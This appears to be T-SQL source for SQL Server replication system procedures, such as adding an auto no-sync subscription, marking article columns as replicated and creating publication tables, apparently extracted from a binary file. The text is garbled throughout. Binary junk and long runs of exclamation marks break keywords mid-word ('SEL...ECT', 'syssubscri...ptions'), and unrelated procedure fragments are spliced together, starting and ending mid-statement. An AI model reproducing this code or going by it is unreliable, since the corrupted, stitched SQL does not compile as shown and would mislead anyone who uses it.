create procedure sys.sp_MSaddautonosyncsubscription(
    -- Subscription setup parameters
    @publication                 sysname,      
    @article                     sysname = N'all',
    @subscriber                  sysname = NULL,
    @destination_db              sysname = NULL,
    @sync_type                   nvarchar(80) = N'replication support only',
    @status                      sysname = NULL,
    @subscription_type           nvarchar(4) = N'push',
    @update_mode                 nvarchar(30) = N'read only',
    @loopback_detection          nvarchar(5) = NULL,
    @frequency_type              int = NULL,
    @frequency_interval          int = NULL,
    @frequency_relative_interval int = NULL,
    @frequency_recurrence_factor int = NULL,
    @frequency_subday            int = NULL,
    @frequency_subday_interval   int = NULL,
    @active_start_time_of_day    int = NULL,
    @active_end_time_of_day      int = NULL,
    @active_start_date           int = NULL,
    @active_end_date             int = NULL,
    @optional_command_line       nvarchar(4000) = NULL,    
    @reserved                    nvarchar(10) = NULL,
    @enabled_for_syncmgr         nvarchar(5) = 'false',
    @dts_package_name            sysname = NULL,
    @dts_package_password        sysname = NULL,
    @dts_package_location        nvarchar(12) = N'distributor',
    @distribution_job_name       sysname = NULL,
    -- Backup lsn extraction parameters
    @backupdevicetype            nvarchar(20) = 'logical',
    @backupdevicename            nvarchar(1000),
    @mediapassword               sysname = null,
    @password                    sysname = null,
    @fileidhint                  int = null,
    @unload                      bit = 1,
    -- Explicitly specified lsn for this nosync subscription
    @subscriptionlsn             binary(10) = null,
	@publisher 					 sysname = NULL,
	@publisher_type				 sysname = N'MSSQLSERVER'
	,@subscriptionstreams	tinyint = NULL
	,@subscriber_type			tinyint = 0
    )
as
begin
    
    DECLARE @retcode int
    DECLARE @transactionopened bit
    DECLARE @currentdatabase sysname
    DECLARE @active tinyint
	DECLARE @allow_ftp bit
	DECLARE @cleanupsubscription bit
	DECLARE @repl_freq tinyint
	DECLARE @allow_initialize_from_backup bit
	DECLARE @min_autonosync_lsn binary(10)
	DECLARE @lsnsource tinyint
	DECLARE @pubid int
	DECLARE @ispeer bit
	DECLARE @OPT_ENABLED_FOR_P2P int = 0x1

    SET NOCOUNT ON

    select @retcode = 0,
           @transactionopened = 0,
           @currentdatabase = db_name(),
           @active = 2,
           @cleanupsubscription = 0,
           @allow_initialize_from_backup = null

    -- Check if the current database is published
	IF (sys.fn_MSrepl_istranpublished(db_name(),1) = 0)
	BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END    
        
    -- Validate publication name
    if @publication is null or rtrim(@publication) = N''
    begin
        raiserror (14043, 16, -1, '@publication', 'sp_MSaddautonosyncsubscription')
        return (1)
    end

	-- Get publication id
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

    -- Publication existence check        
    SEL!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(.;RvECT	@allow_initialize_from_backup	= allow_initialize_from_backup,
			@min_autonosync_lsn				= min_autonosync_lsn,
			@repl_freq						= repl_freq,
			@ispeer	= case (options & @OPT_ENABLED_FOR_P2P) when @OPT_ENABLED_FOR_P2P then 1 else 0 end
	FROM	syspublications
	WHERE	pubid = @pubid

    IF (@@ERROR != 0)
    BEGIN
    	SELECT	@retcode = 1
    	GOTO	Failure
    END

    -- allow_initialize_from_backup cannot be null, if it is, then the publication
    -- does not exist
    if @allow_initialize_from_backup is null
    begin
        raiserror(20026, 11, -1, @publication)
        return 1
    end

    -- Publication cannot be a snapshot publication
    if @repl_freq <> 0
    begin
        raiserror(18787, 16, -1)
        return 1
    end

    -- Initial subscription status must be active or null (default)
    select @status = lower(@status collate SQL_Latin1_General_CP1_CS_AS)
    if @status is not null and @status <> N'active'
    begin
        raiserror(21408, 16, -1)
        return 1
    end

    -- Obtain the autonosync subscription lsn depending on the
    -- @sync_type value. Note that @sync_type has already   
    -- been validated as one of the autonosync types in sp_addsubscription
    
    select @sync_type = lower(@sync_type collate SQL_Latin1_General_CP1_CS_AS)
    select @lsnsource =	case
    						when @sync_type = N'initialize from lsn' then 2
							when @sync_type = N'initialize with backup' then 1
							-- @sync_type = N'replication support only'
							else 0
						end
    
    IF (@@ERROR != 0)
    BEGIN
    	SELECT	@retcode = 1
    	GOTO	Failure
    END

    -- Publication must be enabled for automated nosync support for the
    -- 'initialize with backup' and 'initialize from lsn' sync types. 
    if @lsnsource <> 0
    begin
        if @allow_initialize_from_backup = 0
        begin
            raiserror(18786, 16, -1)
            return 1
        end
    end
    
    -- The entire publication must be subscribed at once unless 
    -- this is a "replication support only" subscription 
    if lower(@article collate SQL_Latin1_General_CP1_CS_AS) <> N'all'
    begin
        if @lsnsource <> 0
        begin
            raiserror(21407, 16, -1)
            return 1
        end
    end    
    else
    begin
        select @article = N'all'
    end

    if @lsnsource = 2
    begin
        -- Just make sure that the given lsn is not null
        if @subscriptionlsn is null
        begin
            raiserror(14043, 16, -1, '@subscriptionlsn', 'sp_MSaddautonosyncsubscription')
            select @retcode = 1 goto Failure
        end
    end         
    else if @lsnsource = 1 
    begin
        -- Extract lsn from backup
        exec @retcode = sys.sp_MSextractlastlsnfrombackup
                            @backupdevicetype = @backupdevicetype,
                            @backupdevicename = @backupdevicename,
                            @mediapassword = @mediapassword,
                            @password = @password,
                            @fileidhint = @fileidhint,
                            @unload = @unload,
                            --avoid replacing this into publishingservername for now, it's used to find the physical server name stored in file header
                            @backupservername = @@servername,
                            @backupdatabase = @currentdatabase,
                            @lastlsn = @subscriptionlsn output
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
    end

    -- Make sure that the subscription lsn is greater than the publication's
    -- min autonosync lsn, don't need to check the one obtained from 
    -- sp_replincrementlsn
    if @subscriptionlsn < @min_autonosync_lsn and @lsnsource <> 0
    begin
        if @lsnsource = 2 and @ispeer = 0
	--bug 122094 (PS ID 540867): in case @lsnsource = 2 and @ispeer = 1, do not raise an error, because for p2p, it is possible that @subscriptionlsn is less than @min_autonosync_lsn
	 begin
            raiserror(21399, 16, -1)
            return 1
        end
        else if @lsnsource = 1
        begin
            raiserror(21397, 16, -1)        
	     return 1
	 end
    end
    
    -- Add nosync subscription in a subscribed state

    exec @retcode = sys.sp_addsubscription
            @publication = @publication,
            @article = @article,
            @subscriber = @subscriber,
            @destination_db = @destination_db,
            @sync_type = N'none',
            @status = N'subscribed',
            @subscription_type = @subscription_type,
            @update_mode = @update_mode,
            @loopback_detection = @loopback_detection,
            @frequency_type = @frequency_type,
            @frequency_interval = @frequency_interval,
            @frequency_relative_interval = @frequency_relative_interval,
            @frequency_recurrence_factor = @frequency_recurrence_factor,
            @frequency_subday = @frequency_subday,
            @frequency_subday_interval = @frequency_subday_interval,
            @active_start_time_of_day = @active_start_time_of_day,
            @active_end_time_of_day = @active_end_time_of_day,
            @active_start_date = @active_start_date,
            @active_end_date = @active_end_date,
            @optional_command_line = @optional_command_line,    
            @reserved = N'nosync',
            @enabled_for_syncmgr = @enabled_for_syncmgr,
            @dts_package_name = @dts_package_name,
            @dts_package_password = @dts_package_password,
            @dts_package_location = @dts_package_location,
            @distribution_job_name = @distribution_job_name,
			@publisher = @publisher
			,@subscriptionstreams = @subscriptionstreams
			,@subscriber_type = @subscriber_type
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end    

	
    select @cleanupsubscription = 1

    -- If the specified @destination_db is null, try to select it 
    -- back from syssubscriptions
    IF @destination_db IS NULL
    BEGIN
        IF EXISTS
        (
			SELECT	*
			FROM	syssubscriptions sub 
				WHERE	sub.srvname = upper(@subscriber) 
					and (sub.srvname is not null and len(sub.srvname)> 0)
			  AND	sub.dest_db = db_name()
			  AND	artid in
							(
								SELECT	artid 
								FROM	dbo.sysextendedarticlesview sa,
										dbo.syspublications sp
								WHERE	sa.pubid = sp.pubid
								  AND	sp.pubid = @pubid
								  AND	(@article = N'all' or @article = sa.name)
							)
		)
        BEGIN
            SELECT	@destination_db = db_name()
        END
        ELSE
        BEGIN
            SELECT	@destination_db = formatmessage(20586)
        END
    END

    begin tran
    save tran sp_MSaddautonosyncsubscription

    IF (@@ERROR != 0) OR (@retcode != 0)
    BEGIN
    	SELECT @retcode = 1
    	GOTO Failure
    END

    SELECT @transactionopened = 1

    -- For a sync type of 'replication support only'  we perform just-in-time 
    -- activation of article objects
    IF @lsnsource = 0
    BEGIN
        EXEC @retcode = sys.sp_MSenableautonosync	@publication = @publication,
        											@activate_articles_only = 1,
        											@publisher = @publisher,
        											@publisher_type = @publisher_type
        											
		IF (@@ERROR != 0) OR (@retcode != 0)
		BEGIN
			SELECT @retcode = 1
			GOTO Failure
		END

        EXEC @retcode = sys.sp_replincrementlsn	@xact_seqno = @subscriptionlsn OUTPUT,
        										@publisher	= @publisher

		IF (@@ERROR != 0) OR (@retcode != 0)
		BEGIN
			SELECT @retcode = 1
			GOTO Failure
		END
    END

    -- Update the subscription status in dbo.syssubscriptions directly 
    -- to active. Activation of subscription at the distributor will
    -- be handled by sp_MSsetupnosyncsubscriptionwithlsn
    UPDATE	syssubscri!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`</r
Ɍ=ptions 
       SET	status = @active,
			queued_reinit =	CASE
								WHEN LOWER(@update_mode COLLATE SQL_Latin1_General_CP1_CS_AS) = N'read only' then  1
                                ELSE 0
							END,
			nosync_type = @lsnsource + 1
	WHERE	srvname = UPPER(@subscriber) 
	and (srvname is not null and len(srvname)> 0)
	AND	dest_db = @destination_db
	  AND	artid IN (	SELECT	artid
						FROM	sysextendedarticlesview sa,
								syspublications sp
						WHERE	sa.pubid = sp.pubid
						  AND	sp.pubid = @pubid
						  AND	(@article = N'all' OR @article = sa.name))

    IF (@@ERROR != 0) OR (@retcode != 0)
    BEGIN
    	SELECT @retcode = 1
    	GOTO Failure
    END

    EXEC @retcode = sys.sp_MSsetupnosyncsubscriptionwithlsn	@publication		= @publication,
															@article			= @article,
															@subscriber			= @subscriber,
															@destination_db		= @destination_db,
															@update_mode		= @update_mode,
															@subscriptionlsn	= @subscriptionlsn,
															@lsnsource			= @lsnsource,
															@publisher			= @publisher,
															@publisher_type		= @publisher_type
														

    IF (@@ERROR != 0) OR (@retcode != 0)
    BEGIN
    	SELECT @retcode = 1
    	GOTO Failure
    END

				
    commit tran sp_MSaddautonosyncsubscription

    IF (@@ERROR != 0) OR (@retcode != 0)
    BEGIN
    	SELECT @retcode = 1
    	GOTO Failure
    END

    SELECT	@transactionopened   = 0,
			@cleanupsubscription = 0

Failure:
    IF @transactionopened = 1
    BEGIN
        ROLLBACK TRAN sp_MSaddautonosyncsubscription
        COMMIT TRAN sp_MSaddautonosyncsubscription
    END

    IF @cleanupsubscription = 1
    BEGIN
        -- Ignore errors
        EXEC sp_dropsubscription	@publication	= @publication,
									@article		= @article,
									@subscriber		= @subscriber,
									@destination_db	= @destination_db,
									@publisher		= @publisher
    END

    RETURN @retcode
END
vv      @artid,
        @next_valid_lsn,
        N'subscriptionlsn',
        @parameterValueStr)
    if @@error<>0 goto nosyncSubSetupHelperFailure

    select @parameterValueStr = ISNULL(CAST(@lsnsource AS nvarchar(20)), N'')
    insert into dbo.MSnosyncsubsetup ( 
        publisher_database_id,
        publication_id,
        artid,
        next_valid_lsn,
        parameterName,
        parameterValue)
    values (
        @publisher_database_id,
        @pubid,
        @artid,
        @next_valid_lsn,
        N'lsnsource',
        @parameterValueStr)
    if @@error<>0 goto nosyncSubSetupHelperFailure

    select @parameterValueStr = ISNULL(CAST(@pubid AS nvarchar(20)), N'')
    insert into dbo.MSnosyncsubsetup ( 
        publisher_database_id,
        publication_id,
        artid,
        next_valid_lsn,
        parameterName,
        parameterValue)
    values (
        @publisher_database_id,
        @pubid,
        @artid,
        @next_valid_lsn,
        N'originator_publication_id',
        @parameterValueStr)
    if @@error<>0 goto nosyncSubSetupHelperFailure

    select @parameterValueStr = ISNULL(CAST(@publisher_db_version AS nvarchar(20)), N'')
    insert into dbo.MSnosyncsubsetup ( 
        publisher_database_id,
        publication_id,
        artid,
        next_valid_lsn,
        parameterName,
        parameterValue)
    values (
        @publisher_database_id,
        @pubid,
        @artid,
        @next_valid_lsn,
        N'originator_db_version',
        @parameterValueStr)
    if @@error<>0 goto nosyncSubSetupHelperFailure

    select @parameterValueStr = ISNULL(@script_txt, N'')
    insert into dbo.MSnosyncsubsetup ( 
        publisher_database_id,
        publication_id,
        artid,
        next_valid_lsn,
        parameterName,
        parameterValue)
    values (
        @publisher_database_id,
        @pubid,
        @artid,
        @next_valid_lsn,
        N'originator_meta_data',
        @parameterValueStr)
    if @@error<>0 goto nosyncSubSetupHelperFailure

    select @parameterValueStr = ISNULL(@nosync_setup_script, N'')
    insert into dbo.MSnosyncsubsetup ( 
        publisher_database_id,
        publication_id,
        artid,
        next_valid_lsn,
        parameterName,
        parameterValue)
    values (
        @publisher_database_id,
        @pubid,
        @artid,
        @next_valid_lsn,
        N'nosync_setup_script',
        @parameterValueStr)
    if @@error<>0 goto nosyncSubSetupHelperFailure

    select @parameterValueStr = ISNULL(CAST(@next_valid_lsn AS nvarchar(max)), N'')
    insert into dbo.MSnosyncsubsetup ( 
        publisher_database_id,
        publication_id,
        artid,
        next_valid_lsn,
        parameterName,
        parameterValue)
    values (
        @publisher_database_id,
        @pubid,
        @artid,
        @next_valid_lsn,
        N'next_valid_lsn',
        @parameterValueStr)
    if @@error<>0 goto nosyncSubSetupHelperFailure

    commit tran nosyncSubSetupHelper
    return 0

nosyncSubSetupHelperFailure:
    rollback tran nosyncSubSetupHelper
    commit tran
    return 1

Failure:
    return 1
end
&5[&5
	            	where publisher_database_id = @publisher_database_id 
	                	and UPPER(srvname) = UPPER(@originator)
	                	and dbname = @originatorDb
	                	and publication_id is NULL		-- @origPublId
	                	and dbversion is NULL			-- @origDbVersion

	            if @originator_id is null
	            begin
	                insert into MSrepl_originators (publisher_database_id, srvname, dbname, publication_id, dbversion) 
	                	values (@publisher_database_id, UPPER(@originator), @originatorDb, NULL, NULL)

	                select @originator_id = @@identity
	            end
	        end
	        else
	            select @originator_id = 0
		
			INSERT INTO MSrepl_commands 
			(
				publisher_database_id, 
				xact_seqno, 
				type, 
				article_id, 
				originator_id, 
				command_id, 
				partial_command, 
				hashkey,
				originator_lsn,
				command
			)
			VALUES 
			(
				@publisher_database_id,
				@xactSeqNo,
				@cmdType,
				@artId, 					
				@originator_id,
				@cmdId,
				@fIncomplete,
				@hashKey,					
				NULL,		-- @origLSN
				@cmdText
			)
		end    --end of i.e., when (@cmdType & 0xFFFFFFF)  in (54, 55, 56)
	    end    --end of if @cmdLen > 0

		select @x = @x + 1

	end

END_CMDS:
    IF @@ERROR <> 0
		return (1)
FkFko check for that and commit and return error code.
	-- the top level calling SP should do proper rollback
	-- based on returned error code
	--
    ROLLBACK TRAN sp_MSadd_qreader_agent
  	COMMIT TRAN sp_MSadd_qreader_agent
  	
	return(1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#R`<(0<Wi>vZcreate procedure sys.sp_MSarticlecol 
(
    @artid int,
    @colid int = NULL,
    @type nvarchar(10),      -- 'publish', 'nonsqlsub' 
    @operation nvarchar(5)  -- 'add', 'drop' 
)  
AS
begin
    set nocount on
    -- Declarations.
    DECLARE @tabid int        --Article base table id
                ,@retcode int
                ,@status bit
                ,@allow_dts bit
                , @pubid int  -- hydra compatible colid
                ,@colname sysname
                ,@objname nvarchar(517)
    declare @coltable table(name sysname, column_id int, is_computed bit)

    SELECT @tabid = sa.objid, @pubid = sa.pubid, @allow_dts = sp.allow_dts
    FROM sysarticles as sa join syspublications as sp
            on sa.pubid = sp.pubid
    WHERE sa.artid = @artid

    -- Get qualified object name for error logging
    EXEC sys.sp_MSget_qualified_name @tabid, @objname output
    IF @objname IS NULL
        return 1
    if (@colid is NULL)
    begin
        insert into @coltable (name, column_id, is_computed)
            select sc.name, sc.column_id, sc.is_computed
            from sys.columns as sc join sysarticlecolumns as sac
            on sc.column_id = sac.colid
            WHERE sc.object_id = @tabid
                and sac.artid = @artid
        --
        -- Check if any columns computed
        --
        if exists (select * from sys.columns where object_id = @tabid and is_computed = 1)
        begin
            --
            -- Check if any PK column is computed
            --
            if (sys.fn_ispkcomputed(@tabid) = 1)
            begin
                --
                -- add base column for any primary computed keys
                --
                insert into @coltable (name, column_id, is_computed)
                select sc.name, sc.column_id, sc.is_computed
                from sys.columns as sc 
                    join 
                    (
                        select bc.column_id
                        from sys.fn_basecolsofcomputedpkcol(@tabid, NULL) as bc
                        where bc.column_id not in (select column_id from sysarticlecolumns where artid = @artid)
                    ) as pkb
                    on sc.column_id = pkb.column_id
                WHERE sc.object_id = @tabid
            end -- PK has computed cols
        end -- exists computed cols
    end -- colid is null
    else
    begin
        --
        -- colid was specified
        --
        insert into @coltable (name, column_id, is_computed)
            select sc.name, sc.column_id, sc.is_computed
            from sys.columns as sc join sysarticlecolumns as sac
            on sc.column_id = sac.colid
            WHERE sc.object_id = @tabid
                and sc.column_id = @colid
                and sac.artid = @artid
        if exists (select * from @coltable where is_computed = 1)
        begin
            --
            -- add base column for this computed column if this is part of PK
            --
            insert into @coltable (name, column_id, is_computed)
            select sc.name, sc.column_id, sc.is_computed
            from sys.columns as sc 
                join 
                (
                    select bc.column_id
                    from sys.fn_basecolsofcomputedpkcol(@tabid, @colid) as bc
                    where bc.column_id not in (select column_id from sysarticlecolumns where artid = @artid)
                ) as pkb
                on sc.column_id = pkb.column_id
            where sc.object_id = @tabid
        end
    end
    -- loop through the selected columns
    DECLARE #hCartcol CURSOR LOCAL FAST_FORWARD FOR
        SELECT name, column_id FROM @coltable

     
	 

    -- begin transaction
    BEGIN TRANSACTION
    save tran sp_MSarticlecol
    -- open and enumerate the cursor
    OPEN #hCartcol
    FETCH #hCartcol INTO @colname, @colid
    WHILE (@@fetch_status <> -1)
    BEGIN

       IF LOWER(@operation collate SQL_Latin1_General_CP1_CS_AS) = N'add'
       BEGIN
          IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) = N'publish'
          BEGIN
            EXEC %%ColumnEx(ObjectID = @tabid, Name = @colname).SetReplicated(Value = 1)
            IF @@ERROR <> 0
            BEGIN
                RAISERROR(15165, -1, -1, @objname)
                GOTO ERROR_ABORT_EXIT
            END     
            --for tables with has_replication_filter on (see sp_MSsetfilteredstatus), 
            --set all replicated column (except legacy blob) as part of PK so SE logs
            --old value for deletes
            --this is done inside sp_MSsetfilteredstatus anayway but set it here anyway 
            --so that we don't depand on the order of how sp_MSsetfilteredstatus and sp_articlecolumn gets called
            if exists (select * from sys.tables where object_id = @tabid 
                                                                and has_replication_filter = 1)
                and not exists (select * from sys.columns where object_id = @tabid 
                                                                                and column_id = @colid
                                                                                and (system_type_id in (34, 35, 99)
                                                                                or user_type_id in (34, 35, 99))) -- image, text, ntext
            begin
                EXEC %%ColumnEx(ObjectID = @tabid, Name = @colname).SetLogForRepl(Value = 1)
                IF @@ERROR <> 0
                BEGIN
                    RAISERROR(15052, -1, -1, @objname)
                    GOTO ERROR_ABORT_EXIT
                END     
            end
          END
          ELSE IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) = N'nonsqlsub'
          BEGIN
            EXEC %%ColumnEx(ObjectID = @tabid, Name = @colname).SetReplNonSQLSub(Value = 1)
            IF @@ERROR <> 0
            BEGIN
                RAISERROR(15052, -1, -1, @objname)
                GOTO ERROR_ABORT_EXIT
            END            
            IF @allow_dts = 1
            BEGIN
                EXEC %%ColumnEx(ObjectID = @tabid, Name = @colname).SetDTSReplicated(Value = 1)
                IF @@ERROR <> 0
                   BEGIN
                   RAISERROR(15052, -1, -1, @objname)
                   GOTO ERROR_ABORT_EXIT
                END            
            END
          END
        END
        ELSE /* drop */
        BEGIN
            /*
            ** Is there another non-sql server subscription on the column?
            ** Or another article publishing the column?
            */
            EXEC @retcode = sys.sp_MSarticlecolstatus @artid = @artid, @tabid = @tabid, @colid = @colid, @type = @type, @status = @status OUTPUT
            IF @@error <> 0 OR @retcode <> 0
            BEGIN
                GOTO ERROR_ABORT_EXIT
            END
	
            IF (@status = 0)
            BEGIN
                IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) = N'publish'
                BEGIN
                    /* Clear 'publish' bit */
                    EXEC %%ColumnEx(ObjectID = @tabid, Name = @colname).SetReplicated(Value = 0)
                    IF @@ERROR <> 0
                    BEGIN
                        RAISERROR(15052, -1, -1, @objname)
                        GOTO ERROR_ABORT_EXIT
                    END            

                    EXEC %%ColumnEx(ObjectID = @tabid, Name = @colname).SetLogForRepl(Value = 0)
                    IF @@ERROR <> 0
                    BEGIN
                        RAISERROR(15052, -1, -1, @objname)
                        GOTO ERROR_ABORT_EXIT
                    END            
                END
                ELSE IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) = N'nonsqlsub'
                BEGIN
                    /* Clear 'non-sql server subscription' bit */
      !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(1<!vcreate procedure sys.sp_MScreate_pub_tables
AS
    DECLARE @retcode int,
    		@fError int
    		
    SELECT @fError = 0

    -- enable 'create tables as pseudo system tables


    /* 
    ** Msg 226, Level 16, State 9
    ** CREATE TABLE system-table command not allowed within multi-statement transaction.
    */
    /*
    BEGIN TRAN sp_create_central_pub_tables
    */
    
    /* Creating 'sysarticles' */
    IF not exists (select * from sys.objects where name = 'sysarticles')
    BEGIN
        create table dbo.sysarticles
        (
        artid               int                 identity NOT NULL,
        creation_script     nvarchar(255)       NULL,
        del_cmd             nvarchar(255)       NULL,
        description         nvarchar(255)       NULL,
        dest_table          sysname             NOT NULL,
        filter              int                 NOT NULL,
        filter_clause       ntext               NULL,
        ins_cmd             nvarchar(255)       NULL,
        name                sysname             NOT NULL,
        objid               int                 NOT NULL,
        pubid               int                 NOT NULL,
        pre_creation_cmd    tinyint             NOT NULL,
        status              tinyint             NOT NULL,
        sync_objid          int                 NOT NULL,
        type                tinyint             NOT NULL,
        upd_cmd             nvarchar(255)       NULL,
        schema_option       binary(8)           NULL,
        dest_owner          sysname             NULL,
        ins_scripting_proc int NULL,	-- object id of custom scripting proc registered by user, to replace sp_scriptinsproc
        del_scripting_proc int NULL,	-- object id of custom scripting proc registered by user, to replace sp_scriptdelproc
        upd_scripting_proc int NULL,	-- object id of custom scripting proc registered by user, to replace sp_scriptupdproc
        custom_script nvarchar(2048) NULL,	-- custom script, set by sp_register_custom_script, cleared by DDL trigger 
        								-- 	or by sp_unregister_custom_script
        fire_triggers_on_snapshot bit           NOT NULL default 0
        -- Note: Please update sysextendedarticlesview whenever
        -- there is a schema change in sysarticles
        )

        exec dbo.sp_MS_marksystemobject 'sysarticles'

        IF @@error<>0
        BEGIN
            GOTO ERROR
        END

        create unique clustered index c1sysarticles
            on sysarticles(artid, pubid) 
        
        IF @@error<>0
        BEGIN
            GOTO ERROR
        END
    END
    IF not exists (select * from sys.objects where name = 'sysarticlecolumns')
    BEGIN
        create table dbo.sysarticlecolumns
        (
        artid             int NOT NULL,
        colid             int NOT NULL, 
        is_udt 			bit null default 0,
        is_xml 			bit null default 0,
        is_max 			bit null default 0
        )
    create unique clustered index idx_sysarticlecolumns on sysarticlecolumns (artid, colid)
        EXEC dbo.sp_MS_marksystemobject 'sysarticlecolumns'

        IF @@error<>0
        BEGIN
            GOTO ERROR
        END
    END

	 /* Creating 'sysschemaarticles' */
    IF not exists (select * from sys.objects where name = 'sysschemaarticles')
    BEGIN
        create table dbo.sysschemaarticles
        (
        artid               int                 NOT NULL,
        creation_script     nvarchar(255)       NULL,
        description         nvarchar(255)       NULL,
        dest_object         sysname             NOT NULL,
        name                sysname             NOT NULL,
        objid               int                 NOT NULL,
        pubid               int                 NOT NULL,
        pre_creation_cmd    tinyint             NOT NULL,
        status              int                 NOT NULL,
        type                tinyint             NOT NULL,
        schema_option       binary(8)           NULL,
        dest_owner          sysname             NULL
        )
        
        IF @@error<>0
        BEGIN
            GOTO ERROR
        END

        exec dbo.sp_MS_marksystemobject 'sysschemaarticles'

        IF @@error<>0
        BEGIN
            GOTO ERROR
        END

        create unique clustered index c1sysschemaarticles
            on sysschemaarticles(artid, pubid)

        IF @@error<>0
        BEGIN
            GOTO ERROR
        END
        
    END

    /* Creating 'sysextendedarticlesview' */
    IF not exists (select * from sys.objects where name = 'sysextendedarticlesview')
    BEGIN
        exec ('create view dbo.sysextendedarticlesview
               as
               select artid, creation_script, del_cmd, description,
        	dest_table, filter, filter_clause, ins_cmd, name, objid, pubid,
        	pre_creation_cmd, status, sync_objid, type, upd_cmd,
        	schema_option, dest_owner, ins_scripting_proc, del_scripting_proc,
        	upd_scripting_proc, custom_script, fire_triggers_on_snapshot
               from sysarticles
               union all
               select artid, creation_script, NULL, description,
               dest_object, NULL, NULL, NULL, name, objid, pubid, 
               pre_creation_cmd, status, NULL, type, NULL, 
               schema_option, dest_owner, NULL, NULL, NULL, NULL, 0
               from sysschemaarticles
               go')

        IF @@error<>0
        BEGIN
            GOTO ERROR
        END 

        exec dbo.sp_MS_marksystemobject 'sysextendedarticlesview'

        IF @@error<>0
        BEGIN
            GOTO ERROR
        END

    END

    /* Creating 'syspublications' */
    IF NOT EXISTS (select * from sys.objects where name = 'syspublications')
    BEGIN
        CREATE TABLE dbo.syspublications (
        description                 nvarchar(255)   NULL,
        name                        sysname         NOT NULL,
        pubid                       int    identity NOT NULL,
        repl_freq                   tinyint         NOT NULL,
        status                      tinyint         NOT NULL,
        sync_method                 tinyint         NOT NULL,
        snapshot_jobid              binary(16)      NULL,
        independent_agent           bit             NOT NULL,
        immediate_sync              bit             NOT NULL,
        enabled_for_internet        bit             NOT NULL,
        allow_push                  bit             NOT NULL,
        allow_pull                  bit             NOT NULL,
        allow_anonymous             bit             NOT NULL,
        immediate_sync_ready        bit             NOT NULL,
        -- SyncTran
        allow_sync_tran             bit             NOT NULL,
        autogen_sync_procs          bit             NOT NULL,
        retention                   int             NULL,
        -- The following are post 7.0
        allow_queued_tran           bit   default 0 not null, 
        -- portable snapshot support
        snapshot_in_defaultfolder           bit   default 1 NOT NULL,         
        alt_snapshot_folder         nvarchar(255)   NULL,
        -- snapshot pre/post- command
        pre_snapshot_script         nvarchar(255)   NULL,
        post_snapshot_script        nvarchar(255)   NULL,
        -- Snapshot compression
        compress_snapshot           bit   default 0 NOT NULL,          
        -- Post 7.0 Ftp support
        ftp_address                 sysname         NULL,
        ftp_port                    int   default 21 NOT NULL,
        ftp_subdirectory            nvarchar(255)   NULL,
        ftp_login                   sysname         NULL default N'anonymous',
        ftp_password                nvarchar(524)   NULL,
        allow_dts       bit default 0 not null,
        allow_subscription_copy     bit default 0 not null,
  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<Q2<'yM      centralized_conflicts       bit             NULL, -- 0 False, 1 True
        conflict_retention          int             NULL, -- 60
        conflict_policy             int             NULL, -- 1 = PubWins, 2 = SubWins, 3 = Reinit
        queue_type                  int             NULL,  -- 1 = MSMQ, 2 = SQL
        ad_guidname                 sysname         NULL,
        backward_comp_level int default 10 not NULL, -- default is sphinx
        allow_initialize_from_backup  bit   default 0 NOT NULL,
        min_autonosync_lsn binary(10)      NULL,
        replicate_ddl int null default 1,
        options int default 0 not null,
        originator_id int NULL, -- 4 bytes are used 
		)

        exec dbo.sp_MS_marksystemobject 'syspublications'

        IF @@ERROR <> 0
        BEGIN
            GOTO ERROR
        END

        create unique clustered index uc1syspublications
            on syspublications (pubid) 
        IF @@ERROR <> 0
        BEGIN
            GOTO ERROR
        END

        create unique nonclustered index unc2syspublications
            on syspublications (name)

        IF @@ERROR <> 0
        BEGIN
            GOTO ERROR
        END

        create nonclustered index nc3syspublications
            on syspublications (status)

        IF @@ERROR <> 0
        BEGIN
